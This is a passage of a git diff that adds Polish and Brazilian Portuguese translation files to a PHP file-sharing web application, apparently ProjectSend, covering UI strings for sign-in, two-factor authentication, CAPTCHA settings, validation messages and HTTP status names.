up with": "Albo zarejestruj się przez", + "Passwords": "Hasła", + "Passwords that appear in known data breaches are not accepted.": "Hasła, które pojawiają się w znanych wyciekach danych, nie są akceptowane.", + "Protection": "Ochrona", + "Protect these forms": "Chroń te formularze", + "Protect your public forms from automated abuse": "Chroń swoje publiczne formularze przed zautomatyzowanymi nadużyciami", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI przekierowania", + "Register this exact address with :provider. It must match character for character.": "Zarejestruj dokładnie ten adres u :provider. Musi się zgadzać znak po znaku.", + "Reject passwords found in known data breaches": "Odrzucaj hasła znalezione w znanych wyciekach danych", + "Removed two-factor authentication from \":subject\"": "Usunięto uwierzytelnianie dwuskładnikowe osobie „:subject”", + "Remove the limit": "Usuń limit", + "Remove two-factor authentication": "Usuń uwierzytelnianie dwuskładnikowe", + "Remove two-factor authentication?": "Usunąć uwierzytelnianie dwuskładnikowe?", + "Require a verified email address": "Wymagaj zweryfikowanego adresu e-mail", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Uruchom je jako użytkownik, na którym działa Twój serwer WWW. Pełna procedura znajduje się w INSTALL.md.", + "Score threshold": "Próg wyniku", + "Search timezones…": "Szukaj stref czasowych…", + "Security check failed. Please try again.": "Sprawdzanie zabezpieczeń nie powiodło się. Spróbuj ponownie.", + "Service": "Usługa", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Ustaw hasło dla tego konta. Nigdy go nie miało — loguje się przez połączonego dostawcę, a konto zespołu potrzebuje poświadczenia, które ta aplikacja może sprawdzić samodzielnie.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Zalogowani odwiedzający nigdy nie muszą rozwiązywać zadania podczas komentowania.", + "Sign in": "Zaloguj się", + "Sign in with an account you already have somewhere else.": "Zaloguj się kontem, które już gdzieś masz.", + "Site key": "Klucz witryny", + "Social login": "Logowanie społecznościowe", + "Stored encrypted and never shown again, not even to you.": "Przechowywane w postaci zaszyfrowanej i nigdy więcej niepokazywane, nawet Tobie.", + "Stored — leave blank to keep it": "Zapisane — zostaw puste, aby zachować", + "Testing…": "Testowanie…", + "Test keys": "Przetestuj klucze", + "That :provider account is already connected to another account here.": "To konto :provider jest już tutaj połączone z innym kontem.", + "That sign-in could not be completed. Please try again.": "Nie udało się dokończyć tego logowania. Spróbuj ponownie.", + "That sign-in method is not available.": "Ta metoda logowania jest niedostępna.", + "The default language has to be one of the languages you are offering.": "Język domyślny musi być jednym z języków, które oferujesz.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Punkty końcowe są odczytywane z tego adresu, więc to cała konfiguracja. Musi być https.", + "The expiry date must be in the future.": "Data wygaśnięcia musi być w przyszłości.", + "The issuer URL must start with https://.": "URL wystawcy musi zaczynać się od https://.", + "The public key. It appears in your pages’ source, which is expected.": "Klucz publiczny. Pojawia się w źródle Twoich stron, co jest normalne.", + "There is no account here for that address.": "Nie ma tu konta dla tego adresu.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Nie udało się załadować sprawdzania zabezpieczeń. Upewnij się, że Twoja przeglądarka lub sieć go nie blokuje, i odśwież stronę.", + "This account does not use an authenticator app.": "To konto nie korzysta z aplikacji uwierzytelniającej.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "To konto nigdy nie miało własnego hasła — loguje się przez połączonego dostawcę. Zespół potrzebuje poświadczenia, które ta aplikacja może sprawdzić samodzielnie, aby awaria dostawcy nie zablokowała mu dostępu.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "To konto loguje się aplikacją uwierzytelniającą. Usuń ją tylko wtedy, gdy właściciel konta stracił zarówno aplikację, jak i kody odzyskiwania.", + "This file has reached its download limit.": "Ten plik osiągnął swój limit pobrań.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "To jedyny sposób, w jaki możesz się zalogować. Najpierw ustaw hasło, a potem odłącz :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Ta strona jest chroniona przez reCAPTCHA i obowiązują Polityka prywatności oraz Warunki korzystania z usługi Google.", + "Those files have reached their download limit.": "Te pliki osiągnęły swój limit pobrań.", + "Timezone": "Strefa czasowa", + "To update, back up your database and files, then:": "Aby zaktualizować, wykonaj kopię zapasową bazy danych i plików, a następnie:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Aby zaktualizować, wykonaj kroki z INSTALL.md — najpierw kopia zapasowa, potem rozpakuj wydanie i uruchom migracje.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Wyłącz to tylko wtedy, gdy ten serwer nie powinien wykonywać żadnych żądań wychodzących. Jeśli usługa jest nieosiągalna, hasło i tak zostaje zaakceptowane, więc instalacja offline nigdy nie jest przez to blokowana.", + "Two-factor authentication removed.": "Usunięto uwierzytelnianie dwuskładnikowe.", + "Two-factor authentication removed by an admin": "Uwierzytelnianie dwuskładnikowe usunięte przez administratora", + "Two-factor authentication was removed by an administrator": "Uwierzytelnianie dwuskładnikowe zostało usunięte przez administratora", + "Two-factor authentication was removed from your account": "Uwierzytelnianie dwuskładnikowe zostało usunięte z Twojego konta", + "Unexpected reply from :provider: :codes": "Nieoczekiwana odpowiedź od :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Używana dla każdego, kto nie wybrał własnej strefy czasowej, w tym odwiedzających Twoje strony publiczne i linki udostępnione. Każde konto może ustawić własną w swoim profilu.", + "Use ProjectSend’s protection": "Użyj ochrony ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Użyj własnego konta reCAPTCHA lub Turnstile.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "Weryfikacja była ostatnio nieosiągalna, więc chronione formularze są przepuszczane bez sprawdzania. Nikt nie zostaje zablokowany.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Chronimy Twoje publiczne formularze za Ciebie. Nic do konfigurowania, żadnych kluczy do zarządzania.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "To, co ludzie widzą, zanim cokolwiek wybiorą. Zalogowane konto zachowuje własny wybór, a odwiedzający, którego przeglądarka prosi o jeden z powyższych języków, otrzymuje właśnie ten — to jest odpowiedź dla wszystkich pozostałych.", + "Which languages people can choose from": "Spośród jakich języków ludzie mogą wybierać", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Twoje konto zostało utworzone przez jednego z tych dostawców i nie ma własnego hasła, więc ostatniego połączenia nie można usunąć. Najpierw ustaw hasło, jeśli chcesz je odłączyć.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Twoje konto jest ustawione na :timezone, więc to nie zmieni tego, jak daty wyglądają dla Ciebie.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Twój własny dzierżawca, nie „common”. Microsoft pozwala użytkownikowi zmienić adres e-mail konta, więc logowanie jest wiarygodne tylko wtedy, gdy token pochodzi od dzierżawcy podanego tutaj.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Twój dostawca odrzucił klucz tajny tej instalacji, więc chronione formularze są przepuszczane bez sprawdzania. Sprawdź klucz tajny poniżej.", + "Your public forms are protected. You can switch to your own keys at any time.": "Twoje publiczne formularze są chronione. W każdej chwili możesz przełączyć się na własne klucze." +} diff --git a/lang/pl/actions.php b/lang/pl/actions.php new file mode 100644 index 00000000..56669685 --- /dev/null +++ b/lang/pl/actions.php @@ -0,0 +1,119 @@ + 'Akceptuj', + 'action' => 'Akcja', + 'actions' => 'Akcje', + 'add' => 'Dodaj', + 'admin' => 'Administrator', + 'agree' => 'Zgadzam się', + 'archive' => 'Archiwizuj', + 'assign' => 'Przydziel', + 'associate' => 'Współpracownik', + 'attach' => 'Dołącz', + 'browse' => 'Przeglądaj', + 'cancel' => 'Anuluj', + 'choose' => 'Wybierz', + 'choose_file' => 'Wybierz plik', + 'choose_image' => 'Wybierz obraz', + 'click_to_copy' => 'Kliknij, aby skopiować', + 'close' => 'Zamknij', + 'collapse' => 'Zwiń', + 'collapse_all' => 'Zwiń wszystko', + 'comment' => 'Skomentuj', + 'confirm' => 'Potwierdź', + 'connect' => 'Połącz', + 'create' => 'Utwórz', + 'delete' => 'Usuń', + 'detach' => 'Odłącz', + 'details' => 'Szczegóły', + 'disable' => 'Wyłącz', + 'discard' => 'Odrzuć', + 'done' => 'Gotowe', + 'down' => 'W dół', + 'duplicate' => 'Duplikuj', + 'edit' => 'Edytuj', + 'enable' => 'Włącz', + 'expand' => 'Rozwiń', + 'expand_all' => 'Rozwiń wszystko', + 'explanation' => 'Wyjaśnienie', + 'export' => 'Eksportuj', + 'file' => 'Plik', + 'files' => 'Pliki', + 'go_home' => 'Idź do strony głównej', + 'hide' => 'Ukryj', + 'home' => 'Strona główna', + 'image' => 'Obraz', + 'impersonate' => 'Podszywaj się', + 'impersonation' => 'Podszywanie się', + 'import' => 'Importuj', + 'introduction' => 'Wprowadzenie', + 'like' => 'Lubię', + 'load' => 'Załaduj', + 'localize' => 'Zlokalizuj', + 'log_in' => 'Zaloguj sie', + 'log_out' => 'Wyloguj', + 'named' => [ + 'add' => 'Dodaj :name', + 'choose' => 'Wybierz :name', + 'create' => 'Utwórz :name', + 'delete' => 'Usuń :name', + 'duplicate' => 'Duplikuj :name', + 'edit' => 'Edytuj :name', + 'export' => 'Export :name', + 'hide' => 'Ukryj :name', + 'import' => 'Importuj :name', + 'new' => 'Nowy :name', + 'restore' => 'Przywróć :name', + 'save' => 'Zapisz :name', + 'search' => 'Szukaj :name', + 'show' => 'Pokaż :name', + 'update' => 'Aktualizuj :name', + 'view' => 'Zobacz :name', + ], + 'new' => 'Nowy', + 'no' => 'Nie', + 'open' => 'Otwórz', + 'open_website' => 'Otwórz na stronie', + 'preview' => 'Podgląd', + 'price' => 'Cena', + 'record' => 'Nagrywać', + 'restore' => 'Przywróć', + 'save' => 'Zapisz', + 'save_and_close' => 'Zapisz i zamknij', + 'save_and_return' => 'Zapisz i wróć', + 'search' => 'Szukaj', + 'select' => 'Wybierz', + 'select_all' => 'Zaznacz wszystko', + 'send' => 'Wyślij', + 'settings' => 'Ustawienia', + 'show' => 'Pokaż', + 'show_all' => 'Pokaż wszystko', + 'sign_in' => 'Zalogować się', + 'solve' => 'Rozwiąż', + 'start' => 'Początek', + 'stop' => 'Zatrzymywać się', + 'submit' => 'Zatwierdź', + 'subscribe' => 'Subskrybuj', + 'switch' => 'Przełącz', + 'switch_to_role' => 'Przełącz na rolę', + 'tag' => 'Tag', + 'tags' => 'Tagi', + 'target_link' => [ + 'blank' => 'Otwórz w nowym oknie', + 'parent' => 'Otwórz w ramce nadrzędnej', + 'self' => 'Otwórz w bieżącym oknie', + 'top' => 'Otwórz w najwyższej ramce', + ], + 'translate' => 'Przetłumacz', + 'translate_it' => 'Przetłumacz to', + 'unpack' => 'Rozpakuj', + 'unsubscribe' => 'Wypisz się', + 'up' => 'W górę', + 'update' => 'Aktualizuj', + 'user' => 'Użytkownik', + 'view' => 'Widok', + 'yes' => 'Tak', +]; diff --git a/lang/pl/auth.php b/lang/pl/auth.php new file mode 100644 index 00000000..861e7970 --- /dev/null +++ b/lang/pl/auth.php @@ -0,0 +1,9 @@ + 'Błędny login lub hasło.', + 'password' => 'Hasło jest nieprawidłowe.', + 'throttle' => 'Za dużo nieudanych prób logowania. Proszę spróbować za :seconds sekund.', +]; diff --git a/lang/pl/http-statuses.php b/lang/pl/http-statuses.php new file mode 100644 index 00000000..9feb3c73 --- /dev/null +++ b/lang/pl/http-statuses.php @@ -0,0 +1,84 @@ + 'Nieznany błąd', + '100' => 'Kontynuuj', + '101' => 'Przełączanie protokołów', + '102' => 'Przetwarzanie', + '200' => 'OK', + '201' => 'Utworzono', + '202' => 'Zaakceptowano', + '203' => 'Nieautorytatywne informacje', + '204' => 'Brak treści', + '205' => 'Zresetuj zawartość', + '206' => 'Częściowa zawartość', + '207' => 'Wielostanowy status', + '208' => 'Już zgłoszone', + '226' => 'Użyto zasobów IM', + '300' => 'Zobacz inny zasób', + '301' => 'Przeniesiony na stałe', + '302' => 'Znaleziono', + '303' => 'Zobacz inne', + '304' => 'Niezmodyfikowany', + '305' => 'Użyj serwera proxy', + '307' => 'Tymczasowe przekierowanie', + '308' => 'Stałe przekierowanie', + '400' => 'Nieprawidłowe żądanie', + '401' => 'Nieautoryzowany', + '402' => 'Płatność wymagana', + '403' => 'Zabroniony', + '404' => 'Nie znaleziono', + '405' => 'Metoda Niedozwolona', + '406' => 'Niedopuszczalne', + '407' => 'Wymagane Uwierzytelnianie Proxy', + '408' => 'Limit czasu żądania został przekroczony', + '409' => 'Konflikt', + '410' => 'Zasób zniknął', + '411' => 'Wymagana długość nagłówka', + '412' => 'Warunek wstępny nie powiódł się', + '413' => 'Ładunek zbyt duży', + '414' => 'Zbyt długi identyfikator URI', + '415' => 'Nieobsługiwany typ nośnika', + '416' => 'Żądany zakres jest nieobsługiwany', + '417' => 'Oczekiwanie nie powiodło się', + '418' => 'Jestem czajnikiem', + '419' => 'Sesja wygasła – wymagane ponowne uwierzytelnienie', + '421' => 'Błędnie skierowane żądanie', + '422' => 'Podmiot Nieprzetwarzalny', + '423' => 'Zasób zablokowany', + '424' => 'Nieudana zależność', + '425' => 'Żądanie zbyt wcześnie', + '426' => 'Wymagana aktualizacja', + '428' => 'Wymagany warunek wstępny', + '429' => 'Zbyt wiele żądań', + '431' => 'Za duże pola nagłówka żądania', + '444' => 'Połączenie zamknięte przez serwer bez odpowiedzi', + '449' => 'Spróbuj ponownie z', + '451' => 'Zasób niedostępny ze względów prawnych', + '499' => 'Żądanie klienta zostało anulowane', + '500' => 'Wewnętrzny błąd serwera', + '501' => 'Nie zaimplementowano', + '502' => 'Zła brama', + '503' => 'Serwer w trybie konserwacji', + '504' => 'Przekroczenie limitu czasu bramy', + '505' => 'Wersja HTTP nie jest obsługiwana', + '506' => 'Wariant również negocjuje', + '507' => 'Niewystarczające miejsce do przechowywania', + '508' => 'Wykryto zapętloną zależność', + '509' => 'Przekroczono limit przepustowości', + '510' => 'Nie rozszerzona', + '511' => 'Wymagane Uwierzytelnianie Sieci', + '520' => 'Nieznany błąd serwera', + '521' => 'Serwer sieciowy nie działa', + '522' => 'Przekroczono limit czasu połączenia z serwerem', + '523' => 'Serwer źródłowy jest nieosiągalny', + '524' => 'Przekroczono limit czasu oczekiwania na odpowiedź', + '525' => 'Nieudane uzgadnianie SSL', + '526' => 'Nieprawidłowy certyfikat SSL', + '527' => 'Błąd Railguna', + '598' => 'Błąd limitu czasu odczytu sieci', + '599' => 'Błąd limitu czasu połączenia sieciowego', + 'unknownError' => 'Nieznany błąd serwera', +]; diff --git a/lang/pl/pagination.php b/lang/pl/pagination.php new file mode 100644 index 00000000..93346b9d --- /dev/null +++ b/lang/pl/pagination.php @@ -0,0 +1,8 @@ + 'Następna »', + 'previous' => '« Poprzednia', +]; diff --git a/lang/pl/passwords.php b/lang/pl/passwords.php new file mode 100644 index 00000000..824f0545 --- /dev/null +++ b/lang/pl/passwords.php @@ -0,0 +1,11 @@ + 'Hasło zostało zresetowane!', + 'sent' => 'Przypomnienie hasła zostało wysłane!', + 'throttled' => 'Proszę zaczekać zanim spróbujesz ponownie.', + 'token' => 'Token resetowania hasła jest nieprawidłowy.', + 'user' => 'Nie znaleziono użytkownika z takim adresem e-mail.', +]; diff --git a/lang/pl/validation.php b/lang/pl/validation.php new file mode 100644 index 00000000..28ef5d4e --- /dev/null +++ b/lang/pl/validation.php @@ -0,0 +1,288 @@ + 'Pole :attribute musi zostać zaakceptowane.', + 'accepted_if' => 'Pole :attribute musi zostać zaakceptowane gdy :other ma wartość :value.', + 'active_url' => 'Pole :attribute jest nieprawidłowym adresem URL.', + 'after' => 'Pole :attribute musi być datą późniejszą od :date.', + 'after_or_equal' => 'Pole :attribute musi być datą nie wcześniejszą niż :date.', + 'alpha' => 'Pole :attribute może zawierać jedynie litery.', + 'alpha_dash' => 'Pole :attribute może zawierać jedynie litery, cyfry i myślniki.', + 'alpha_num' => 'Pole :attribute może zawierać jedynie litery i cyfry.', + 'any_of' => 'Pole :attribute ma nieprawidłową wartość.', + 'array' => 'Pole :attribute musi być tablicą.', + 'ascii' => 'Pole :attribute może zawierać tylko jednobajtowe znaki alfanumeryczne i symbole.', + 'before' => 'Pole :attribute musi być datą wcześniejszą od :date.', + 'before_or_equal' => 'Pole :attribute musi być datą nie późniejszą niż :date.', + 'between' => [ + 'array' => 'Pole :attribute musi składać się z :min - :max elementów.', + 'file' => 'Pole :attribute musi zawierać się w granicach :min - :max kilobajtów.', + 'numeric' => 'Pole :attribute musi zawierać się w granicach :min - :max.', + 'string' => 'Pole :attribute musi zawierać się w granicach :min - :max znaków.', + ], + 'boolean' => 'Pole :attribute musi mieć wartość logiczną prawda albo fałsz.', + 'can' => 'Pole :attribute zawiera nieautoryzowaną wartość.', + 'confirmed' => 'Potwierdzenie pola :attribute nie zgadza się.', + 'contains' => 'Pole :attribute nie zawiera wymaganego elementu.', + 'current_password' => 'Hasło jest nieprawidłowe.', + 'date' => 'Pole :attribute nie jest prawidłową datą.', + 'date_equals' => 'Pole :attribute musi być datą równą :date.', + 'date_format' => 'Pole :attribute nie jest w formacie :format.', + 'decimal' => 'Pole :attribute musi mieć :decimal miejsc po przecinku.', + 'declined' => 'Pole :attribute musi zostać odrzucone.', + 'declined_if' => 'Pole :attribute musi zostać odrzucone, gdy :other ma wartość :value.', + 'different' => 'Pole :attribute oraz :other muszą się różnić.', + 'digits' => 'Pole :attribute musi składać się z :digits cyfr.', + 'digits_between' => 'Pole :attribute musi mieć od :min do :max cyfr.', + 'dimensions' => 'Pole :attribute ma niepoprawne wymiary.', + 'distinct' => 'Pole :attribute ma zduplikowane wartości.', + 'doesnt_contain' => 'Pole :attribute nie może zawierać żadnej z następujących wartości: :values.', + 'doesnt_end_with' => 'Pole :attribute nie może kończyć się jedną z następujących wartości: :values.', + 'doesnt_start_with' => 'Pole :attribute nie może zaczynać się od jednego z następujących wartości: :values.', + 'email' => 'Pole :attribute nie jest poprawnym adresem e-mail.', + 'encoding' => 'The :attribute field must be encoded in :encoding.', + 'ends_with' => 'Pole :attribute musi kończyć się jedną z następujących wartości: :values.', + 'enum' => 'Pole :attribute ma niepoprawną wartość.', + 'exists' => 'Zaznaczone pole :attribute jest nieprawidłowe.', + 'extensions' => 'Pole :attribute musi mieć jedno z następujących rozszerzeń: :values.', + 'file' => 'Pole :attribute musi być plikiem.', + 'filled' => 'Pole :attribute musi być wypełnione.', + 'gt' => [ + 'array' => 'Pole :attribute musi mieć więcej niż :value elementów.', + 'file' => 'Pole :attribute musi być większe niż :value kilobajtów.', + 'numeric' => 'Pole :attribute musi być większe niż :value.', + 'string' => 'Pole :attribute musi być dłuższe niż :value znaków.', + ], + 'gte' => [ + 'array' => 'Pole :attribute musi mieć :value lub więcej elementów.', + 'file' => 'Pole :attribute musi być większe lub równe :value kilobajtów.', + 'numeric' => 'Pole :attribute musi być większe lub równe :value.', + 'string' => 'Pole :attribute musi być dłuższe lub równe :value znaków.', + ], + 'hex_color' => 'Pole :attribute musi mieć podany prawidłowy kolor w formacie szesnastkowym.', + 'image' => 'Pole :attribute musi być obrazkiem.', + 'in' => 'Zaznaczony element :attribute jest nieprawidłowy.', + 'in_array' => 'Pole :attribute nie znajduje się w :other.', + 'in_array_keys' => 'Pole :attribute musi zawierać co najmniej jeden z następujących kluczy: :values.', + 'integer' => 'Pole :attribute musi być liczbą całkowitą.', + 'ip' => 'Pole :attribute musi być prawidłowym adresem IP.', + 'ipv4' => 'Pole :attribute musi być prawidłowym adresem IPv4.', + 'ipv6' => 'Pole :attribute musi być prawidłowym adresem IPv6.', + 'json' => 'Pole :attribute musi być poprawnym ciągiem znaków JSON.', + 'list' => 'Pole :attribute musi zawierać listę wartości.', + 'lowercase' => 'Pole :attribute musi być zapisane małymi literami.', + 'lt' => [ + 'array' => 'Pole :attribute musi mieć mniej niż :value elementów.', + 'file' => 'Pole :attribute musi być mniejsze niż :value kilobajtów.', + 'numeric' => 'Pole :attribute musi być mniejsze niż :value.', + 'string' => 'Pole :attribute musi być krótsze niż :value znaków.', + ], + 'lte' => [ + 'array' => 'Pole :attribute musi mieć :value lub mniej elementów.', + 'file' => 'Pole :attribute musi być mniejsze lub równe :value kilobajtów.', + 'numeric' => 'Pole :attribute musi być mniejsze lub równe :value.', + 'string' => 'Pole :attribute musi być krótsze lub równe :value znaków.', + ], + 'mac_address' => 'Pole :attribute musi być prawidłowym adresem MAC.', + 'max' => [ + 'array' => 'Pole :attribute nie może mieć więcej niż :max elementów.', + 'file' => 'Pole :attribute nie może być większe niż :max kilobajtów.', + 'numeric' => 'Pole :attribute nie może być większe niż :max.', + 'string' => 'Pole :attribute nie może być dłuższe niż :max znaków.', + ], + 'max_digits' => 'Pole :attribute nie może mieć więcej niż :max cyfr.', + 'mimes' => 'Pole :attribute musi być plikiem typu :values.', + 'mimetypes' => 'Pole :attribute musi być plikiem typu :values.', + 'min' => [ + 'array' => 'Pole :attribute musi mieć przynajmniej :min elementów.', + 'file' => 'Pole :attribute musi mieć przynajmniej :min kilobajtów.', + 'numeric' => 'Pole :attribute musi być nie mniejsze od :min.', + 'string' => 'Pole :attribute musi mieć przynajmniej :min znaków.', + ], + 'min_digits' => 'Pole :attribute musi mieć co najmniej :min cyfr.', + 'missing' => 'Musi brakować pola :attribute.', + 'missing_if' => 'Jeśli :other to :value, musi brakować pola :attribute.', + 'missing_unless' => 'Musi brakować pola :attribute, chyba że :other to :value.', + 'missing_with' => 'Jeśli występuje wartość :values, musi brakować pola :attribute.', + 'missing_with_all' => 'Jeśli występuje :values, musi brakować pola :attribute.', + 'multiple_of' => 'Pole :attribute musi być wielokrotnością wartości :value.', + 'not_in' => 'Zaznaczony :attribute jest nieprawidłowy.', + 'not_regex' => 'Format pola :attribute jest nieprawidłowy.', + 'numeric' => 'Pole :attribute musi być liczbą.', + 'password' => [ + 'letters' => 'Pole :attribute musi zawierać przynajmniej jedną literę.', + 'mixed' => 'Pole :attribute musi zawierać przynajmniej jedną wielką i jedną małą literę.', + 'numbers' => 'Pole :attribute musi zawierać przynajmniej jedną liczbę.', + 'symbols' => 'Pole :attribute musi zawierać przynajmniej jeden symbol.', + 'uncompromised' => 'Podany :attribute pojawił się w wycieku danych. Proszę wybrać inną wartość :attribute.', + ], + 'present' => 'Pole :attribute musi być obecne.', + 'present_if' => 'Pole :attribute musi być obecne jeżeli :other ma wartość :value.', + 'present_unless' => 'Pole :attribute musi być obecne, chyba że :other ma wartość :value.', + 'present_with' => 'Pole :attribute musi być obecne, gdy :values jest podane.', + 'present_with_all' => 'Pole :attribute musi być obecne kiedy :values są podane.', + 'prohibited' => 'Pole :attribute jest zabronione.', + 'prohibited_if' => 'Pole :attribute jest zabronione, gdy :other to :value.', + 'prohibited_if_accepted' => 'Pole :attribute jest zabronione, gdy akceptowane jest pole :other.', + 'prohibited_if_declined' => 'Pole :attribute jest zabronione, gdy odrzucono pole :other.', + 'prohibited_unless' => 'Pole :attribute jest zabronione, chyba że :other jest w :values.', + 'prohibits' => 'Pole :attribute wyklucza obecność :other.', + 'regex' => 'Format pola :attribute jest nieprawidłowy.', + 'required' => 'Pole :attribute jest wymagane.', + 'required_array_keys' => 'Pole :attribute musi zawierać wartości: :values.', + 'required_if' => 'Pole :attribute jest wymagane gdy :other ma wartość :value.', + 'required_if_accepted' => 'Pole :attribute jest wymagane, gdy :other jest zaakceptowane.', + 'required_if_declined' => 'Pole :attribute jest wymagane gdy :other jest odrzucone.', + 'required_unless' => 'Pole :attribute jest wymagane jeżeli :other nie znajduje się w :values.', + 'required_with' => 'Pole :attribute jest wymagane gdy wartość :values jest obecna.', + 'required_with_all' => 'Pole :attribute jest wymagane gdy wszystkie wartości :values są obecne.', + 'required_without' => 'Pole :attribute jest wymagane gdy wartość :values nie jest obecna.', + 'required_without_all' => 'Pole :attribute jest wymagane gdy żadne z wartości :values nie są obecne.', + 'same' => 'Pole :attribute i :other muszą być takie same.', + 'size' => [ + 'array' => 'Pole :attribute musi zawierać :size elementów.', + 'file' => 'Pole :attribute musi mieć :size kilobajtów.', + 'numeric' => 'Pole :attribute musi mieć :size.', + 'string' => 'Pole :attribute musi mieć :size znaków.', + ], + 'starts_with' => 'Pole :attribute musi zaczynać się jedną z następujących wartości: :values.', + 'string' => 'Pole :attribute musi być ciągiem znaków.', + 'timezone' => 'Pole :attribute musi być prawidłową strefą czasową.', + 'ulid' => 'Pole :attribute musi być prawidłowym identyfikatorem ULID.', + 'unique' => 'Taki :attribute już występuje.', + 'uploaded' => 'Nie udało się wgrać pliku :attribute.', + 'uppercase' => 'Pole :attribute musi być zapisane wielkimi literami.', + 'url' => 'Format pola :attribute jest nieprawidłowy.', + 'uuid' => 'Pole :attribute musi być poprawnym identyfikatorem UUID.', + 'attributes' => [ + 'address' => 'adres', + 'affiliate_url' => 'adres URL partnera', + 'age' => 'wiek', + 'amount' => 'ilość', + 'announcement' => 'ogłoszenie', + 'area' => 'obszar', + 'audience_prize' => 'nagroda publiczności', + 'audience_winner' => 'zwycięzca publiczności', + 'available' => 'dostępny', + 'birthday' => 'urodziny', + 'body' => 'treść', + 'city' => 'miasto', + 'color' => 'color', + 'company' => 'firma', + 'compilation' => 'kompilacja', + 'concept' => 'pojęcie', + 'conditions' => 'warunki', + 'content' => 'zawartość', + 'contest' => 'konkurs', + 'country' => 'kraj', + 'cover' => 'okładka', + 'created_at' => 'utworzono', + 'creator' => 'twórca', + 'currency' => 'waluta', + 'current_password' => 'aktualne hasło', + 'customer' => 'klient', + 'date' => 'data', + 'date_of_birth' => 'data urodzenia', + 'dates' => 'daty', + 'day' => 'dzień', + 'deleted_at' => 'skasowano', + 'description' => 'opis', + 'display_type' => 'typ wyświetlacza', + 'district' => 'dzielnica', + 'duration' => 'czas trwania', + 'email' => 'adres e-mail', + 'excerpt' => 'wyciąg', + 'filter' => 'filtr', + 'finished_at' => 'zakończono o', + 'first_name' => 'imię', + 'gender' => 'płeć', + 'grand_prize' => 'nagroda główna', + 'group' => 'grupa', + 'hour' => 'godzina', + 'image' => 'obrazek', + 'image_desktop' => 'obraz pulpitu', + 'image_main' => 'główny obraz', + 'image_mobile' => 'obraz mobilny', + 'images' => 'obrazy', + 'is_audience_winner' => 'jest zwycięzcą publiczności', + 'is_hidden' => 'jest ukryty', + 'is_subscribed' => 'jest zapisany', + 'is_visible' => 'jest widoczny', + 'is_winner' => 'jest zwycięzcą', + 'items' => 'elementy', + 'key' => 'klucz', + 'last_name' => 'nazwisko', + 'lesson' => 'lekcja', + 'line_address_1' => 'linia adresu 1', + 'line_address_2' => 'linia adresu 2', + 'login' => 'Zaloguj się', + 'message' => 'wiadomość', + 'middle_name' => 'drugie imię', + 'minute' => 'minuta', + 'mobile' => 'numer telefonu komórkowego', + 'month' => 'miesiąc', + 'name' => 'nazwa', + 'national_code' => 'kod kraju', + 'number' => 'numer', + 'password' => 'hasło', + 'password_confirmation' => 'potwierdzenie hasła', + 'phone' => 'numer telefonu', + 'photo' => 'zdjęcie', + 'portfolio' => 'portfolio', + 'postal_code' => 'kod pocztowy', + 'preview' => 'podgląd', + 'price' => 'cena', + 'product_id' => 'ID produktu', + 'product_uid' => 'UID produktu', + 'product_uuid' => 'UUID produktu', + 'promo_code' => 'kod promocyjny', + 'province' => 'województwo lub stan', + 'quantity' => 'ilość', + 'reason' => 'powód', + 'recaptcha_response_field' => 'pole odpowiedzi reCAPTCHA', + 'referee' => 'sędzia', + 'referees' => 'sędziowie', + 'region' => 'region', + 'reject_reason' => 'powód odrzucenia', + 'remember' => 'zapamiętaj', + 'restored_at' => 'odtworzono', + 'result_text_under_image' => 'wynikowy tekst pod obrazkiem', + 'role' => 'rola', + 'rule' => 'reguła', + 'rules' => 'zasady', + 'second' => 'sekunda', + 'sex' => 'płeć', + 'shipment' => 'wysyłka', + 'short_text' => 'krótki tekst', + 'size' => 'rozmiar', + 'skills' => 'umiejętności', + 'slug' => 'przyjazny URL', + 'specialization' => 'specjalizacja', + 'started_at' => 'rozpoczęto o', + 'state' => 'stan', + 'status' => 'status', + 'street' => 'ulica', + 'student' => 'uczeń', + 'subject' => 'temat', + 'tag' => 'tag', + 'tags' => 'tagi', + 'teacher' => 'nauczyciel', + 'terms' => 'warunki', + 'test_description' => 'testowy opis', + 'test_locale' => 'testowa lokalizacja', + 'test_name' => 'testowe imię', + 'text' => 'tekst', + 'time' => 'czas', + 'title' => 'tytuł', + 'type' => 'typ', + 'updated_at' => 'zaktualizowano', + 'user' => 'użytkownik', + 'username' => 'nazwa użytkownika', + 'value' => 'wartość', + 'winner' => 'zwycięzca', + 'work' => 'praca', + 'year' => 'rok', + ], +]; diff --git a/lang/pt_BR.json b/lang/pt_BR.json new file mode 100644 index 00000000..9547789e --- /dev/null +++ b/lang/pt_BR.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName enviou \":itemName\"", + ":count accounts have this role": ":count contas têm esta função", + ":count awaiting approval": ":count aguardando aprovação", + ":count downloads": ":count downloads", + ":count file deleted.|:count files deleted.": ":count arquivo excluído.|:count arquivos excluídos.", + ":count file imported.|:count files imported.": ":count arquivo importado.|:count arquivos importados.", + ":count files": ":count arquivos", + ":count folders": 